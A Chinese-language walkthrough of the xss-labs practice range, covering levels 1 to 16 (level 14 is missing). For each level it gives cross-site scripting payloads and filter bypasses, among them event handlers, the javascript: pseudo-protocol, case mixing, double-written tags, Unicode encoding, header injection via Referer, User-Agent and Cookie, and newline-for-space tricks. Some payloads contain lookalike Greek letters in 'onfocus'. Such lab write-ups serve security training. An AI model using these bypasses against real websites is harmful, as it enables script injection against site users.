xsslabs靶场解析
见框就插
-
找框:输入框,搜索框
-
插代码
第1关
<script>alert(1)</script>
第2关
语句:
<script>alert(1)</script>
- 尝试闭合标签,成功
"> <script>alert(1)</script>
第3关
语句:
<script>alert(1)</script>
- 发现标签被实体化
<input name=keyword value='<script>alert(1)</script>'>
- 尝试使用事件,成功
'οnfοcus=alert('xss') '
第4关
语句:
<script>alert(1)</script>
- 发现
<
,>
被吃掉了(尖括号过滤)
<input name="keyword" value="scriptalert(1)/script">
- 尝试使用事件,成功
"οnfοcus=alert('xss') "
第5关
语句:
<script>alert(1)</script>
- 发现
<script
==><scr_ipt
<input name="keyword" value="<scr_ipt>alert(1)</script>">
- 尝试使用事件,发现也被过滤
on
==>o_n
"οnfοcus=alert('xss') "
<input name="keyword" value="" o_nfocus="alert('xss')" ""="">
- 尝试使用伪协议,成功
"> <a href=javascript:alert(1)>aaa</a>
第6关
语句:
<script>alert(1)</script>
- 发现
<script
==><scr_ipt
<input name="keyword" value="<scr_ipt>alert(1)</script>">
- 尝试使用事件,发现也被过滤
on
==>o_n
"οnfοcus=alert('xss') "
<input name="keyword" value="" o_nfocus="alert('xss')" ""="">
- 尝试使用伪协议,也被过滤
href
==>hr_ef
<a hr_ef="javascript:alert(1)">aaa</a>
- 尝试大小写绕过,成功
"><ScRiPt>alert(/xss/)</sCrIpT>
第7关
语句:
<script>alert(1)</script>
- 发现,
script
被过滤了
<input name="keyword" value="<>alert(1)</>">
- 尝试双写绕过,成功
"><scriscriptpt>alert(1)</scriscriptpt>
第8关
语句:
<script>alert(1)</script>
- 发现
<script
==><src_ipt
,且参数在a标签中
<a href="<scr_ipt>alert(1)</scr_ipt>">友情链接</a>
- 尝试使用伪协议,发现也被过滤了
javascript:alert(1)
<a href="javascr_ipt:alert(1)">友情链接</a>
- 尝试其他标签,发现参数
src
以及on
也被过滤了(事件也无法使用)
<a href="<img sr_c=# o_nerror=alert(1)>">友情链接</a>
- 尝试使用unicode编码(href的隐藏属性自动Unicode解码),成功
javascript:alert()
javascript:alert(1)
第9关
语句:
javascript:alert(1)
- 插入之后,发现参数没有插入成功,而是说链接不合法
<a href="您的链接不合法?有没有!">友情链接</a>
- 查看源代码,发现,当我们传入的参数中,没有包含
http://
时,参数无法插入成功
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
- 尝试加入
http://
进行测试,发现参数可以正常传递,但是关键字被过滤(其他关键字也被过滤,自行尝试或查看关卡源代码)
<a href="javascr_ipt:alert(1)http://">友情链接</a>
- 尝试unicode编码,发现成功绕过,但是有
http://
存在,无法成功执行payload
javascript:alert(1)http://
<a href="javascript:alert(1)http://">友情链接</a>
- 尝试注释掉
http://
,成功
javascript:alert(1)/*http://*/
注释符号:/**/
关键点:
-
unicode编码
-
绕过
http://
并注释
第10关
语句:
<script>alert(1)</script>
- 发现没有效果,查看源代码发现有猫腻,真正传参的地方被隐藏了
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
- 在url栏进行真正的参数测试,发现只有
t_sort
能传递参数,但是<
和>
被过滤了
t_link: <script>alert(1)</script>
t_history: <script>alert(1)</script>
t_sort: <script>alert(1)</script>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="scriptalert(1)/script" type="hidden">
- 尝试事件并构造闭合,成功
?t_sort=" οninput=alert(1) type="text
这里的type="text,是为了使hidden属性失效而构造的,
也是为了方便我们执行oninput事件
关键点:
-
隐藏框:hidden
-
传参点:t_sort
-
过滤点:< >
第11关
查看源代码发现,在t_ref
处有http协议头中的referer参数传递
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="http://localhost:7036/xss_labs/www.xss.com/level10.php?t_sort=%22%20οninput=alert(1)%20type=%22text" type="hidden">
-
先判断,其余3个参数能否传参
- 发现只有
t_sort
能够传递参数
- 发现只有
-
尝试
t_sort
,发现"
被实体化,尝试编码绕过,也不行
?t_sort=" οninput=alert(1) type="text
<input name="t_sort" value="" onfocus=alert(1) type="text" type="hidden">
?t_sort="%20οninput=alert(1)%20type="text
?t_sort=" onfocus=alert(1) type="text
<input name="t_sort" value="" type="hidden">
- 尝试我们最开始发现的
t_ref
;由于其value值为http协议头,我们使用抓包工具,在第10关成功之时抓包,使用referer头进行测试 - payload:user=" οnfοcus=alert(1) type="text
- 修改之后放掉此包,成功
关键点:
- 传参方式改变,从一般的get,post传参变为了http协议中referer头传参
第12关
思路与第11关一致
关键点:
- 参数传递方式:http协议中的ua头传参
- payload:" οnfοcus=alert(1) type="text
第13关
思路与第11关一致
关键点:
- 参数传递方式:http协议中的cookie传参
- payload:user=" οnfοcus=alert(1) type="text
第15关
查看网页源代码,发现了
<body><span class="ng-include:"></span></body>
-
利用的是文件包含
-
js里面的ng-include和php里面include,一样的作用
方法:
-
想办法包含其他关卡,进行弹框
-
包含第2关,get传参,用经典xss代码发现被实体化,再尝试用事件型
-
payload:?src=‘level2.php?keyword=as" οnfοcus="alert(1)’
第16关
经过测试:
- 发现过滤了script
- 大小写,双写都不行
- 尝试其他标签,发现空格被过滤 ==> 实体化
- 且
/
也被转换为了 空格(
)
方法:
- 绕过空格,换行
%0a
替代空格 - payload:
- <img%0asrc=123%0aοnerrοr=alert(1)>
- <svg%0asrc=123%0aοnerrοr=alert(1)>